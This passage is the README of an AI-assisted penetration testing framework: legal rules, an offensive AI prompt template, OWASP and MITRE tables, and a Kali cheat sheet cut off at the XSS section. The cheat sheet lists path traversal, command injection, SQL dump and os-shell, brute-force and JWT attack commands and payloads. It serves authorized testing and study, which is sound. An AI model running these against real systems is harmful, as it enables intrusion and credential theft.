# 🔴 AI-Powered Penetration Testing & Red Team Framework
## 📋 Table of Contents
1. [Overview](#overview)
2. [Legal & Ethical Framework](#legal--ethical-framework)
3. [System Architecture](#system-architecture)
4. [AI System Prompt](#ai-system-prompt)
5. [Methodology Frameworks](#methodology-frameworks)
6. [Kali Linux Cheat Sheet](#kali-linux-cheat-sheet)
- Phase 0: Environment Setup
- Phase 1: Reconnaissance & OSINT
- Phase 2: Web Application Testing
- Phase 3: API Security Testing
- Phase 4: Network Exploitation
- Phase 5: Post-Exploitation & Privilege Escalation
- Phase 6: AI/LLM Security Testing
- Phase 7: Reporting & Documentation
7. [Vulnerability Chaining](#vulnerability-chaining)
8. [False Positive Reduction](#false-positive-reduction)
9. [Tool Integration Matrix](#tool-integration-matrix)
10. [MITRE ATT&CK v19 Mapping](#mitre-attck-v19-mapping)
11. [Quick Reference](#quick-reference)
12. [Contributing](#contributing)
13. [License](#license)
## 🎯 Overview
This framework provides a **comprehensive, rigorous, and aggressive** approach to authorized penetration testing, red team operations, and offensive cybersecurity research. Designed specifically for:
- ✅ **Authorized lab environments** (Oracle VM + Kali Linux)
- ✅ **Bug bounty programs** with explicit scope definitions
- ✅ **Security certification preparation** (OSCP, CEH, GPEN, GWAPT)
- ✅ **AI/LLM security research** and adversarial testing
- ✅ **Defensive skill development** through offensive understanding
### Key Features
| Feature | Description |
|---------|-------------|
| **AI-Native** | LLM-powered analysis with structured reasoning chains |
| **Framework-Agnostic** | Integrates MITRE ATT&CK, OWASP, PTES, NIST AI RMF |
| **False-Positive Aware** | Multi-layer validation before reporting findings |
| **Chain-Oriented** | Maps vulnerability chains for maximum impact assessment |
| **Cloud-Ready** | Covers AWS, Azure, GCP, Kubernetes, Serverless |
| **AI-Security** | Includes OWASP LLM Top 10:2025 & Agentic Top 10:2026 |
## ⚖️ Legal & Ethical Framework
### 🔴 CRITICAL: Authorization Requirements
+-----------------------------------------------------------------------------+
| BEFORE ANY TESTING, YOU MUST HAVE: |
| |
| ✓ WRITTEN authorization from the system owner |
| ✓ DEFINED scope (in-scope and out-of-scope boundaries) |
| ✓ EMERGENCY contacts for immediate escalation |
| ✓ RULES of engagement (RoE) document signed by all parties |
| ✓ LIABILITY waiver and insurance coverage (for professional engagements) |
| ✓ DATA handling agreement (GDPR, CCPA compliance where applicable) |
+-----------------------------------------------------------------------------+
### Prohibited Activities
- ❌ Testing systems without explicit written authorization
- ❌ Exploiting vulnerabilities in production without approval
- ❌ Causing denial of service without explicit permission
- ❌ Exfiltrating sensitive data beyond scope
- ❌ Sharing findings with unauthorized third parties
- ❌ Using exploits for 0-day vulnerabilities without responsible disclosure
- ❌ Social engineering against real individuals without consent
### Responsible Disclosure
If you discover a vulnerability:
1. **STOP** immediately and document your findings
2. **NOTIFY** the system owner through proper channels
3. **WAIT** for acknowledgment before further testing
4. **PROVIDE** a reasonable remediation timeline (90 days standard)
5. **COORDINATE** public disclosure with the vendor
## 🏗️ System Architecture
+-----------------------------------------------------------------------------+
| AI PENETRATION TESTING FRAMEWORK |
+-----------------------------------------------------------------------------+
| LAYER 1: AI ORCHESTRATION |
| +- System Prompt (Role Definition, Behavioral Directives) |
| +- Context Management (Target, Scope, RoE) |
| +- Chain-of-Thought Reasoning (Attack Path Analysis) |
| +- Output Validation (False Positive Reduction) |
+-----------------------------------------------------------------------------+
| LAYER 2: METHODOLOGY ENGINE |
| +- MITRE ATT&CK v19 (15 Tactics, 222 Techniques) |
| +- OWASP Top 10:2025 (Web Applications) |
| +- OWASP API Security Top 10:2023 |
| +- OWASP LLM Top 10:2025 & Agentic Top 10:2026 |
| +- PTES (Penetration Testing Execution Standard) |
| +- NIST AI RMF + Generative AI Profile |
+-----------------------------------------------------------------------------+
| LAYER 3: TOOL INTEGRATION |
| +- Kali Linux Default Toolset |
| +- Custom Scripts & Automation |
| +- MCP Server Integration (Burp Suite, Metasploit, etc.) |
| +- Cloud CLI Tools (AWS CLI, Azure CLI, gcloud) |
+-----------------------------------------------------------------------------+
| LAYER 4: REPORTING & DOCUMENTATION |
| +- CVSS v3.1 Scoring |
| +- CWE Mapping |
| +- Attack Chain Visualization |
| +- Remediation Roadmap |
| +- Executive Summary Generation |
+-----------------------------------------------------------------------------+
## 🤖 AI System Prompt
### Usage Instructions
1. **Copy the system prompt** from `prompts/system-prompt.md`
2. **Configure target parameters** in the `[INSERT: ...]` placeholders
3. **Load into your AI system** (Claude, GPT-4, Gemini, or local LLM)
4. **Validate outputs** against the false positive checklist
### Prompt Structure
ROLE DEFINITION
+- Senior Offensive Security Engineer (15+ years)
+- Red Team Operator
+- Penetration Testing Architect
+- AI/LLM Security Specialist
BEHAVIORAL DIRECTIVES
+- Explain the "WHY" behind each technique
+- Provide multiple exploitation paths
+- Suggest defense mechanisms alongside offense
+- Validate findings before reporting
+- Consider business context and realistic impact
+- Prioritize by exploitability + impact
OUTPUT FORMAT
+- Phase 1: Reconnaissance
+- Phase 2: Mapping & Scanning
+- Phase 3: Vulnerability Analysis
+- Phase 4: Exploitation (PoC Only)
+- Phase 5: Post-Exploitation (If Authorized)
+- Phase 6: Reporting
### Target Configuration Template
target:
name: "Example Corp Lab Environment"
type: "Web Application + API + Cloud Infrastructure"
urls:
- "https://lab.example.com"
- "https://api.lab.example.com"
ips:
- "192.168.1.0/24"
scope_in:
- "https://lab.example.com/*"
- "https://api.lab.example.com/v1/*"
- "192.168.1.10-192.168.1.50"
- "AWS S3 bucket: lab-assets-example"
scope_out:
- "https://prod.example.com/*"
- "192.168.1.1 (Router/Gateway)"
- "Third-party services (Stripe, SendGrid)"
- "Employee personal devices"
rules_of_engagement:
- "No destructive testing without explicit approval"
- "No social engineering against real employees"
- "Maximum 1000 requests/minute to avoid DoS"
- "Business hours testing only (9 AM - 5 PM EST)"
- "Immediate notification for Critical findings"
## 📚 Methodology Frameworks
### 1. OWASP Top 10:2025
| Rank | Category | Key Tests | Tools |
|------|----------|-----------|-------|
| A01 | Broken Access Control | IDOR, path traversal, forced browsing | Burp Suite, curl, custom scripts |
| A02 | Security Misconfiguration | Default configs, verbose errors, misheaders | Nikto, Nmap scripts, testssl.sh |
| A03 | Software Supply Chain | Vulnerable dependencies, outdated libs | retire.js, npm audit, Snyk |
| A04 | Cryptographic Failures | Weak algorithms, key management | testssl.sh, sslscan, openssl |
| A05 | Injection | SQLi, NoSQLi, Command, LDAP, XPath | sqlmap, commix, custom payloads |
| A06 | Insecure Design | Business logic flaws, race conditions | Manual testing, custom scripts |
| A07 | Authentication Failures | Weak passwords, session flaws, JWT | Hydra, jwt_tool, Burp Suite |
| A08 | Data Integrity Failures | Deserialization, unsigned data | ysoserial, pickle payloads |
| A09 | Logging Failures | Missing logs, WAF bypass | Manual verification, log analysis |
| A10 | Exception Handling | Information disclosure, crashes | Fuzzing, error analysis |
### 2. OWASP API Security Top 10:2023
| Rank | Category | Key Tests |
|------|----------|-----------|
| API1 | Broken Object Level Auth | Change object IDs, test horizontal access |
| API2 | Broken Authentication | JWT weaknesses, weak API keys, missing auth |
| API3 | Broken Object Property Auth | Mass assignment, property tampering |
| API4 | Unrestricted Resource Consumption | Rate limiting, resource exhaustion |
| API5 | Broken Function Level Auth | Admin endpoints with user tokens |
| API6 | Unrestricted Business Flows | Purchase limits, registration abuse |
| API7 | Server-Side Request Forgery | URL parameters, internal service access |
| API8 | Security Misconfiguration | CORS, headers, verbose errors |
| API9 | Improper Inventory Management | Hidden endpoints, old API versions |
| API10 | Unsafe API Consumption | Third-party integration abuse |
### 3. MITRE ATT&CK v19 (April 2026)
**New in v19:**
- Defense Evasion split into **Stealth** and **Defense Impairment**
- 15 Tactics | 222 Techniques | 475 Sub-techniques
- Enhanced AI/ML-specific techniques
- Cloud-native attack patterns
**Tactics Chain:**
Reconnaissance -> Resource Development -> Initial Access -> Execution ->
Persistence -> Privilege Escalation -> Defense Evasion ->
Credential Access -> Discovery -> Lateral Movement -> Collection ->
Command and Control -> Exfiltration -> Impact -> Stealth
### 4. OWASP LLM Top 10:2025 & Agentic Top 10:2026
| Rank | LLM Category | Agentic Category |
|------|--------------|------------------|
| 01 | Prompt Injection | Goal Hijacking |
| 02 | Insecure Output Handling | Tool Misuse |
| 03 | Training Data Poisoning | Identity Abuse |
| 04 | Model Denial of Service | Agent Escape |
| 05 | Supply Chain Vulnerabilities | Insecure Multi-Agent Communication |
| 06 | Sensitive Information Disclosure | Memory Poisoning |
| 07 | Insecure Plugin Design | Insecure Inter-Agent Communication |
| 08 | Excessive Agency | Agentic Supply Chain |
| 09 | Overreliance | Agentic Data Exfiltration |
| 10 | Model Theft | Agentic Denial of Service |
## 🐉 Kali Linux Cheat Sheet
### Phase 0: Environment Setup
# System Update
sudo apt update && sudo apt full-upgrade -y
# Install Kali Metapackages
sudo apt install -y kali-linux-default # Core tools
sudo apt install -y kali-linux-headless # Headless tools
sudo apt install -y kali-linux-web # Web app testing
sudo apt install -y kali-linux-wireless # Wireless testing
sudo apt install -y kali-linux-top10 # Top 10 tools
# Workspace Structure
mkdir -p ~/pentest/{target_name}/{recon,scanning,exploitation,loot,report}
# VPN Configuration
sudo openvpn --config client.ovpn
# Proxy Chains (for anonymization)
sudo apt install proxychains -y
# Edit: /etc/proxychains.conf -> socks5 127.0.0.1 9050
proxychains nmap -sT -Pn target.com
### Phase 1: Reconnaissance & OSINT
#### Passive Reconnaissance
# WHOIS & DNS
whois target.com
dig target.com ANY
dig @ns1.target.com target.com AXFR
dnsrecon -d target.com -t axfr
dnsenum target.com
# Subdomain Discovery
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com
findomain -t target.com -q
# Certificate Transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u
# Shodan & Censys
shodan host target.com
shodan search "hostname:target.com"
# Google Dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com intitle:"index of"
site:target.com ext:sql | ext:bak | ext:old
# GitHub Recon
gitGraber -k keywords.txt -q "target.com"
truffleHog --regex --entropy=False https://github.com/org/repo.git
# Email Harvesting
theHarvester -d target.com -b all -f harvest.html
# Visual Link Analysis
maltego # GUI tool
#### Active Reconnaissance
# Host Discovery
nmap -sn 192.168.1.0/24 # Ping sweep
nmap -Pn -sS 192.168.1.0/24 # TCP SYN scan
masscan 192.168.1.0/24 -p1-65535 --rate 1000
# Port Scanning
nmap -sS -sV -O -p- target.com # Full port + version + OS
nmap -sS -sV -sC -O -p- -T4 target.com # With default scripts
nmap -sS -sV --script=vuln -p- target.com # Vulnerability scripts
nmap -sU -p 53,67,68,88,161,162 target.com # UDP
# Service Fingerprinting
nmap -sV --version-intensity 9 target.com
whatweb target.com
wafw00f target.com
# Banner Grabbing
nc -v target.com 80
telnet target.com 22
# Directory Enumeration
gobuster dir -u http://target.com \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html,js,json
dirb http://target.com /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Virtual Host Discovery
gobuster vhost -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
### Phase 2: Web Application Testing
#### OWASP Top 10:2025 Testing
# A01: Broken Access Control
# IDOR Testing
curl -H "Cookie: session=admin" http://target.com/admin
curl http://target.com/api/users/1 # Try 2,3,4...
curl http://target.com/api/orders/1001 # Try other order IDs
# Path Traversal
curl http://target.com/../../etc/passwd
curl http://target.com/..%2f..%2fetc%2fpasswd
curl http://target.com/....//....//etc/passwd
# Forced Browsing
curl http://target.com/admin
curl http://target.com/backup
curl http://target.com/.env
# A02: Security Misconfiguration
curl -I http://target.com
nmap --script http-security-headers target.com
nikto -h http://target.com
# A03: Supply Chain Failures
retire.js --url http://target.com
# Check package.json, requirements.txt, Gemfile
# A04: Cryptographic Failures
sslscan target.com
testssl.sh target.com
nmap --script ssl-enum-ciphers -p 443 target.com
# A05: Injection
# SQL Injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables
sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# Command Injection
curl "http://target.com/ping.php?ip=127.0.0.1;id"
curl "http://target.com/ping.php?ip=127.0.0.1|whoami"
curl "http://target.com/ping.php?ip=`id`"
# LDAP Injection
# Payload: *)(uid=*))(&(uid=*
# Payload: admin)(&))
# XPath Injection
# Payload: ' or '1'='1
# Payload: ' or ''='
# A06: Insecure Design
# Business Logic Testing
curl -X POST -d "quantity=-1&price=0" http://target.com/cart/add
curl -X POST -d "discount=100" http://target.com/checkout
# Race Condition Testing
# Send parallel requests with: parallel, curl, or custom scripts
# A07: Authentication Failures
# Brute Force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"
# JWT Testing
jwt_tool.py -t eyJ0eXAiOiJKV1Qi... -C
jwt_tool.py -t eyJ0eXAiOiJKV1Qi... -X a
# Session Fixation
curl -c cookies.txt -b cookies.txt http://target.com/login
# A08: Data Integrity Failures
# Deserialization
# Java: ysoserial payload generation
# Python: pickle payloads
# PHP: phar deserialization
# A09: Logging Failures
# Test if attacks are logged
# Check for WAF presence and bypass opportunities
# A10: Exception Handling
# Fuzzing
wfuzz -c -z file,/usr/share/wordlists/SecLists/Fuzzing/fuzz-BoBo.txt \
http://target.com/FUZZ
#### XSS Testing
# Basic Payloads
